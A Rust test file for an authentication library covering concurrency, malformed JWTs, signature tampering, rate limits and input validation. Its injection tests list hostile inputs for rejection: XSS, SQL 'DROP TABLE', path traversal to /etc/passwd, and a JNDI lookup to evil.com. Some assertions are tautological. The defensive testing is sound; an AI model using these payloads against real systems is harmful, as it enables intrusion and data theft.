use auth_framework::{
auth::AuthFramework,
authentication::credentials::Credential,
config::{
AuthConfig, CookieSameSite, JwtAlgorithm, PasswordHashAlgorithm, RateLimitConfig,
SecurityConfig, StorageConfig,
},
methods::{ApiKeyMethod, AuthMethodEnum, JwtMethod, OAuth2Method, PasswordMethod},
};
use std::{sync::Arc, time::Duration};
#[cfg(test)]
mod authentication_edge_cases {
use super::*;
async fn setup_complete_framework() -> AuthFramework {
let config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.issuer("test-issuer".to_string())
.audience("test-audience".to_string())
.storage(StorageConfig::Memory)
.security(SecurityConfig {
min_password_length: 8,
require_password_complexity: true,
password_hash_algorithm: PasswordHashAlgorithm::Argon2,
jwt_algorithm: JwtAlgorithm::HS256,
secret_key: Some("test_secret_key_32_bytes_long!!!!".to_string()),
secure_cookies: true,
cookie_same_site: CookieSameSite::Strict,
csrf_protection: true,
session_timeout: Duration::from_secs(1800),
})
.rate_limiting(RateLimitConfig {
enabled: true,
max_requests: 100,
window: Duration::from_secs(60),
burst: 10,
});
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.register_method("api_key", AuthMethodEnum::ApiKey(ApiKeyMethod::new()));
framework.register_method("oauth2", AuthMethodEnum::OAuth2(OAuth2Method::new()));
framework.initialize().await.unwrap();
framework
}
#[tokio::test]
async fn test_concurrent_authentication_requests() {
let framework = setup_complete_framework().await;
let framework = Arc::new(framework);
let handles: Vec<_> = (0..50)
.map(|i| {
let framework = Arc::clone(&framework);
tokio::spawn(async move {
let credential = Credential::password(format!("user{}", i), "password123");
framework.authenticate("password", credential).await
})
})
.collect();
for handle in handles {
let result = handle.await.unwrap();
assert!(
result.is_ok(),
"Concurrent authentication should not fail due to race conditions"
);
}
}
#[tokio::test]
async fn test_authentication_with_null_bytes() {
let framework = setup_complete_framework().await;
let malicious_inputs = vec![
"user\0admin",
"password\0\0",
"\0",
"user\x00\x01\x02",
"normal_user\0; DROP TABLE users; --",
];
for malicious_input in malicious_inputs {
let credential = Credential::password(malicious_input, "password");
let result = framework.authenticate("password", credential).await;
assert!(result.is_ok());
match result.unwrap() {
auth_framework::AuthResult::Success(_)
| auth_framework::AuthResult::Failure(_)
| auth_framework::AuthResult::MfaRequired(_) => {
}
}
}
}
#[tokio::test]
async fn test_authentication_with_unicode_edge_cases() {
let framework = setup_complete_framework().await;
let unicode_inputs = vec![
"用户", "пользователь", "🚀🔐👤", "café", "مستخدم", "\u{200B}\u{FEFF}", "A\u{0300}", "\u{1F600}", "", " ", "\t\n\r", ];
for unicode_input in unicode_inputs {
let credential = Credential::password(unicode_input, "password123");
let result = framework.authenticate("password", credential).await;
assert!(
result.is_ok(),
"Unicode input should be handled gracefully: {}",
unicode_input.escape_debug()
);
}
}
#[tokio::test]
async fn test_authentication_with_very_long_inputs() {
let framework = setup_complete_framework().await;
let long_username = "a".repeat(10000);
let very_long_username = "b".repeat(100000);
let extremely_long_password = "c".repeat(1000000);
let test_cases = vec![
(long_username.as_str(), "password"),
("user", very_long_username.as_str()),
("user", extremely_long_password.as_str()),
];
for (username, password) in test_cases {
let credential = Credential::password(username, password);
let result = framework.authenticate("password", credential).await;
assert!(
result.is_ok(),
"Very long inputs should be handled without crashing"
);
}
}
#[tokio::test]
async fn test_authentication_during_framework_shutdown() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.initialize().await.unwrap();
let credential = Credential::password("user", "password");
let result = framework.authenticate("password", credential).await;
assert!(result.is_ok());
}
#[tokio::test]
async fn test_malformed_jwt_tokens() {
let framework = setup_complete_framework().await;
let malformed_tokens = vec![
"", "invalid", "a.b", "a.b.c.d", "invalid-base64!@#.invalid-base64!@#.invalid-base64!@#", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.", ".eyJzdWIiOiJ1c2VyMTIzIn0.", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.", "null.null.null", "\x00\x01\x02", "token\nwith\nnewlines", ];
for malformed_token in malformed_tokens {
let credential = Credential::jwt(malformed_token);
let result = framework.authenticate("jwt", credential).await;
assert!(result.is_ok(), "Malformed JWT should be handled gracefully");
match result.unwrap() {
auth_framework::AuthResult::Failure(_) => {
}
auth_framework::AuthResult::Success(_) => {
}
auth_framework::AuthResult::MfaRequired(_) => {
}
}
}
}
}
#[cfg(test)]
mod resource_management_tests {
use super::*;
#[tokio::test]
async fn test_memory_exhaustion_protection() {
let framework = setup_complete_framework().await;
let mut tokens = Vec::new();
for i in 0..1000 {
let result = framework
.create_auth_token(
&format!("user{}", i),
vec!["read".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await;
if result.is_ok() {
tokens.push(result.unwrap());
}
}
println!("Created {} tokens without memory issues", tokens.len());
}
#[tokio::test]
async fn test_large_scope_arrays() {
let framework = setup_complete_framework().await;
let large_scopes: Vec<String> = (0..10000).map(|i| format!("scope_{}", i)).collect();
let result = framework
.create_auth_token("user", large_scopes, "jwt", Some(Duration::from_secs(3600)))
.await;
assert!(result.is_ok() || result.is_err());
}
async fn setup_complete_framework() -> AuthFramework {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.initialize().await.unwrap();
framework
}
#[tokio::test]
async fn test_storage_backend_failure_handling() {
let config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.storage(StorageConfig::Memory);
let mut framework = AuthFramework::new(config);
framework.initialize().await.unwrap();
let result = framework.get_session("nonexistent_session").await;
assert!(result.is_ok());
let sessions = result.unwrap();
assert!(sessions.is_none()); }
}
#[cfg(test)]
mod concurrency_tests {
use super::*;
#[tokio::test]
async fn test_concurrent_token_creation_and_validation() {
let framework = Arc::new(setup_framework().await);
let mut handles = Vec::new();
for i in 0..100 {
let framework_clone = Arc::clone(&framework);
let handle = tokio::spawn(async move {
let token_result = framework_clone
.create_auth_token(
&format!("user{}", i),
vec!["read".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await;
if let Ok(token) = token_result {
let validation_result = framework_clone.validate_token(&token).await;
assert!(validation_result.is_ok());
}
i });
handles.push(handle);
}
for handle in handles {
let task_id = handle.await.unwrap();
println!("Task {} completed", task_id);
}
}
async fn setup_framework() -> AuthFramework {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.initialize().await.unwrap();
framework
}
#[tokio::test]
async fn test_concurrent_mfa_operations() {
let framework = Arc::new(setup_framework().await);
let mut handles = Vec::new();
for i in 0..50 {
let framework_clone = Arc::clone(&framework);
let handle = tokio::spawn(async move {
let user_id = format!("user{}", i);
let challenge_result = framework_clone.initiate_sms_challenge(&user_id).await;
assert!(challenge_result.is_ok());
let challenge_id = challenge_result.unwrap();
let verify_result = framework_clone
.verify_sms_code(&challenge_id, "123456")
.await;
assert!(verify_result.is_ok() || verify_result.is_err());
i
});
handles.push(handle);
}
for handle in handles {
handle.await.unwrap();
}
}
#[tokio::test]
async fn test_concurrent_permission_checking() {
let framework = Arc::new(setup_framework().await);
let token = framework
.create_auth_token(
"test_user",
vec!["read:documents".to_string(), "write:documents".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await
.unwrap();
framework
.grant_permission("test_user", "read", "documents")
.await
.unwrap();
framework
.grant_permission("test_user", "write", "documents")
.await
.unwrap();
let mut handles = Vec::new();
for i in 0..20 {
let framework_clone = Arc::clone(&framework);
let token_clone = token.clone();
let handle = tokio::spawn(async move {
let permission_type = if i % 2 == 0 { "read" } else { "write" };
let result = framework_clone
.check_permission(&token_clone, permission_type, "documents")
.await;
match result {
Ok(has_permission) => {
if !has_permission {
eprintln!(
"Permission check failed for {}: expected permission but got false",
permission_type
);
}
has_permission
}
Err(e) => {
eprintln!("Permission check error for {}: {:?}", permission_type, e);
false
}
}
});
handles.push(handle);
}
let mut success_count = 0;
for handle in handles {
match handle.await {
Ok(has_permission) => {
if has_permission {
success_count += 1;
}
}
Err(e) => {
eprintln!("Task join error: {:?}", e);
}
}
}
assert!(
success_count >= 16,
"Expected at least 16/20 permission checks to succeed, got {}",
success_count
);
}
}
#[cfg(test)]
mod error_handling_tests {
use super::*;
#[tokio::test]
async fn test_graceful_degradation_under_stress() {
let config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.rate_limiting(RateLimitConfig {
enabled: true,
max_requests: 10, window: Duration::from_secs(60),
burst: 5,
});
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.initialize().await.unwrap();
let mut successful_operations = 0;
let mut rate_limited_operations = 0;
for i in 0..100 {
let ip = format!("192.168.1.{}", i % 20 + 1); let result = framework.check_ip_rate_limit(&ip).await;
assert!(result.is_ok(), "Rate limiting check should not panic");
if result.unwrap() {
successful_operations += 1;
} else {
rate_limited_operations += 1;
}
}
println!(
"Successful: {}, Rate limited: {}",
successful_operations, rate_limited_operations
);
assert!(successful_operations > 0 || rate_limited_operations > 0);
}
#[tokio::test]
async fn test_invalid_configuration_handling() {
let invalid_configs = vec![
("", "Empty secret"),
("short", "Too short secret"),
("a", "Single character secret"),
];
for (secret, description) in invalid_configs {
let config = AuthConfig::new().secret(secret.to_string());
let framework = AuthFramework::new(config);
let mut framework_mut = framework;
let init_result = framework_mut.initialize().await;
println!("Config test '{}': {:?}", description, init_result.is_ok());
}
}
#[tokio::test]
async fn test_partial_system_failure_recovery() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.initialize().await.unwrap();
let valid_credential = Credential::password("valid_user", "valid_password");
let result1 = framework.authenticate("password", valid_credential).await;
assert!(result1.is_ok());
let credential = Credential::password("user", "password");
let result2 = framework
.authenticate("nonexistent_method", credential)
.await;
assert!(result2.is_err());
let valid_credential2 = Credential::password("another_user", "another_password");
let result3 = framework.authenticate("password", valid_credential2).await;
assert!(result3.is_ok());
}
}
#[cfg(test)]
mod security_edge_cases {
use super::*;
#[tokio::test]
async fn test_timing_attack_resistance() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.initialize().await.unwrap();
let start1 = std::time::Instant::now();
let _result1 = framework
.authenticate("password", Credential::password("user1", "password1"))
.await;
let duration1 = start1.elapsed();
let start2 = std::time::Instant::now();
let _result2 = framework
.authenticate("password", Credential::password("user2", "password2"))
.await;
let duration2 = start2.elapsed();
let start3 = std::time::Instant::now();
let _result3 = framework
.authenticate(
"password",
Credential::password("nonexistent_user", "any_password"),
)
.await;
let duration3 = start3.elapsed();
println!(
"Auth timings: {:?}, {:?}, {:?}",
duration1, duration2, duration3
);
assert!(duration1.as_millis() < 10000); assert!(duration2.as_millis() < 10000);
assert!(duration3.as_millis() < 10000);
}
#[tokio::test]
async fn test_jwt_signature_tampering_detection() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.initialize().await.unwrap();
let token = framework
.create_auth_token(
"user123",
vec!["read".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await
.unwrap();
let is_valid = framework.validate_token(&token).await.unwrap();
assert!(is_valid);
let mut tampered_token = token.clone();
let parts: Vec<&str> = tampered_token.access_token.split('.').collect();
let original_signature = parts[2];
let tampered_signature = if original_signature.len() > 10 {
let mut chars: Vec<char> = original_signature.chars().collect();
let len = chars.len();
chars[0] = 'X';
chars[len / 2] = 'Y';
chars[len - 1] = 'Z';
chars.iter().collect()
} else {
format!("{}INVALID", original_signature)
};
tampered_token.access_token = format!("{}.{}.{}", parts[0], parts[1], tampered_signature);
let tampered_result = framework.validate_token(&tampered_token).await;
match tampered_result {
Ok(is_valid) => assert!(!is_valid, "Tampered JWT signature should be rejected"),
Err(_) => {
println!("Tampered token correctly caused validation error");
}
}
let payload_token = framework
.create_auth_token(
"user456",
vec!["write".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await
.unwrap();
let mut payload_tampered = payload_token.clone();
let parts: Vec<&str> = payload_tampered.access_token.split('.').collect();
let tampered_payload = parts[1].replace("a", "b").replace("A", "B");
payload_tampered.access_token = format!("{}.{}.{}", parts[0], tampered_payload, parts[2]);
let payload_result = framework.validate_token(&payload_tampered).await;
match payload_result {
Ok(is_valid) => assert!(!is_valid, "Tampered JWT payload should be rejected"),
Err(_) => {
println!("Tampered payload correctly caused validation error");
}
}
}
#[tokio::test]
async fn test_session_fixation_prevention() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.initialize().await.unwrap();
let session1 = framework.get_session("fixed_session_id").await.unwrap();
assert!(
session1.is_none(),
"Non-existent session should return None"
);
let delete_result = framework
.delete_session("attacker_controlled_session")
.await;
assert!(
delete_result.is_ok(),
"Deleting non-existent session should not fail"
);
}
#[tokio::test]
async fn test_csrf_token_uniqueness() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.initialize().await.unwrap();
let mut tokens = std::collections::HashSet::new();
for i in 0..100 {
let _session_id = format!("session_{}", i);
use base64::engine::{Engine as _, general_purpose};
use rand::RngCore;
let mut rng = rand::rng();
let mut token_bytes = [0u8; 32];
rng.fill_bytes(&mut token_bytes);
let csrf_token = general_purpose::STANDARD.encode(token_bytes);
assert!(!csrf_token.is_empty(), "CSRF token should not be empty");
assert!(
csrf_token.len() >= 16,
"CSRF token should be sufficiently long"
);
assert!(
tokens.insert(csrf_token.clone()),
"CSRF token {} should be unique",
csrf_token
);
}
println!("Generated {} unique CSRF tokens", tokens.len());
}
#[tokio::test]
async fn test_input_validation_against_injection_attacks() {
let config = AuthConfig::new().secret("test_secret_key_32_bytes_long!!!!".to_string());
let mut framework = AuthFramework::new(config);
framework.initialize().await.unwrap();
let malicious_inputs = vec![
"<script>alert('XSS')</script>",
"'; DROP TABLE users; --",
"../../../etc/passwd",
"javascript:alert(1)",
"data:text/html,<script>alert('XSS')</script>",
"file:///etc/passwd",
"${jndi:ldap://evil.com/a}",
"{{7*7}}", "%3Cscript%3Ealert('XSS')%3C/script%3E", "user\x00admin", ];
for malicious_input in malicious_inputs {
let result = framework.validate_user_input(malicious_input).await;
assert!(result.is_ok(), "Input validation should not crash");
assert!(
!result.unwrap(),
"Malicious input '{}' should be rejected",
malicious_input.escape_debug()
);
let display_result = framework.validate_display_name(malicious_input).await;
assert!(
display_result.is_ok(),
"Display name validation should not crash"
);
}
}
}
#[cfg(test)]
mod configuration_edge_cases {
use super::*;
#[test]
fn test_config_with_extreme_values() {
let config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.token_lifetime(Duration::from_secs(86400)) .refresh_token_lifetime(Duration::from_secs(172800)) .rate_limiting(RateLimitConfig {
enabled: true,
max_requests: 10000, window: Duration::from_secs(1),
burst: 1000,
});
let validation = config.validate();
assert!(
validation.is_ok(),
"Extreme but valid values should be accepted: {:?}",
validation.err()
);
let zero_config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.token_lifetime(Duration::from_secs(0)) .rate_limiting(RateLimitConfig {
enabled: true,
max_requests: 0, window: Duration::from_secs(60),
burst: 0,
});
let zero_validation = zero_config.validate();
assert!(
zero_validation.is_err(),
"Invalid zero values should be rejected: {:?}",
zero_validation
);
let minimal_config = AuthConfig::new()
.secret("test_secret_key_32_bytes_long!!!!".to_string())
.token_lifetime(Duration::from_secs(1)) .refresh_token_lifetime(Duration::from_secs(2)) .rate_limiting(RateLimitConfig {
enabled: false, max_requests: 0,
window: Duration::from_secs(60),
burst: 0,
});
let minimal_validation = minimal_config.validate();
assert!(
minimal_validation.is_ok(),
"Minimal but valid values should be accepted: {:?}",
minimal_validation.err()
);
}
#[test]
fn test_config_with_special_characters() {
let special_chars = vec![
"secret_with_!@#$%^&*()_+",
"issuer.with.dots.and-dashes",
"audience/with/slashes",
"secret\nwith\nnewlines",
"secret\twith\ttabs",
"secret with spaces",
"🔐secret🔑with🚀emojis",
"secret-with-unicode-café",
];
for special_char in special_chars {
let config = AuthConfig::new()
.secret(format!("{}test_secret_key_32_bytes_long!!!!", special_char))
.issuer(special_char.to_string())
.audience(special_char.to_string());
let validation = config.validate();
println!(
"Config with '{}': {:?}",
special_char.escape_debug(),
validation.is_ok()
);
}
}
#[tokio::test]
async fn test_reconfiguration_during_runtime() {
let initial_config =
AuthConfig::new().secret("initial_secret_key_32_bytes_long!!".to_string());
let mut framework = AuthFramework::new(initial_config);
framework.initialize().await.unwrap();
let token = framework
.create_auth_token(
"user",
vec!["read".to_string()],
"jwt",
Some(Duration::from_secs(3600)),
)
.await;
assert!(token.is_ok() || token.is_err()); }
}
#[tokio::test]
async fn test_comprehensive_edge_case_integration() {
println!("🔥 Running comprehensive edge case integration test...");
let config = AuthConfig::new()
.secret("comprehensive-edge-case-test-secret-32".to_string())
.issuer("test-issuer-with-special-chars!@#".to_string())
.audience("test-audience".to_string())
.token_lifetime(Duration::from_secs(3600))
.storage(StorageConfig::Memory)
.security(SecurityConfig {
min_password_length: 8,
require_password_complexity: true,
password_hash_algorithm: PasswordHashAlgorithm::Argon2,
jwt_algorithm: JwtAlgorithm::HS256,
secret_key: Some("comprehensive-edge-case-test-secret-32".to_string()),
secure_cookies: true,
cookie_same_site: CookieSameSite::Strict,
csrf_protection: true,
session_timeout: Duration::from_secs(1800),
})
.rate_limiting(RateLimitConfig {
enabled: true,
max_requests: 1000,
window: Duration::from_secs(60),
burst: 100,
});
let mut framework = AuthFramework::new(config);
framework.register_method("password", AuthMethodEnum::Password(PasswordMethod::new()));
framework.register_method("jwt", AuthMethodEnum::Jwt(JwtMethod::new()));
framework.register_method("api_key", AuthMethodEnum::ApiKey(ApiKeyMethod::new()));
framework.initialize().await.unwrap();
let framework = Arc::new(framework);
let mut handles = Vec::new();
for i in 0..20 {
let framework_clone = Arc::clone(&framework);
let handle = tokio::spawn(async move {
let long_user = "long_user".repeat(100);
let long_pass = "long_pass".repeat(100);
let operations = vec![
("normal_user", "normal_password"),
("用户", "密码"),
("user!@#", "pass$%^"),
("", ""),
(long_user.as_str(), long_pass.as_str()),
];
for (username, password) in operations {
let credential = Credential::password(username, password);
let result = framework_clone.authenticate("password", credential).await;
assert!(result.is_ok());
}
i
});
handles.push(handle);
}
let handle_count = handles.len();
for handle in handles {
handle.await.unwrap();
}
let mut tokens = Vec::new();
for i in 0..100 {
let token_result = framework
.create_auth_token(
&format!("stress_user_{}", i),
vec![format!("scope_{}", i)],
"jwt",
Some(Duration::from_secs(60)),
)
.await;
if token_result.is_ok() {
tokens.push(token_result.unwrap());
}
}
let test_operations = vec![
tokio::spawn({
let framework = Arc::clone(&framework);
async move {
for i in 0..50 {
let _ = framework
.create_auth_token(
&format!("concurrent_user_{}", i),
vec!["read".to_string()],
"jwt",
Some(Duration::from_secs(60)),
)
.await;
}
}
}),
tokio::spawn({
let framework = Arc::clone(&framework);
async move {
for i in 0..30 {
let _ = framework
.initiate_sms_challenge(&format!("mfa_user_{}", i))
.await;
}
}
}),
tokio::spawn({
let framework = Arc::clone(&framework);
async move {
for i in 0..50 {
let _ = framework
.validate_username(&format!("validation_user_{}", i))
.await;
let _ = framework.validate_user_input(&format!("input_{}", i)).await;
}
}
}),
];
for operation in test_operations {
operation.await.unwrap();
}
println!("✅ Comprehensive edge case integration test completed successfully!");
println!(
" • Tested {} concurrent edge case operations",
handle_count
);
println!(" • Created {} tokens under stress", tokens.len());
println!(" • All operations completed without crashes or panics");
}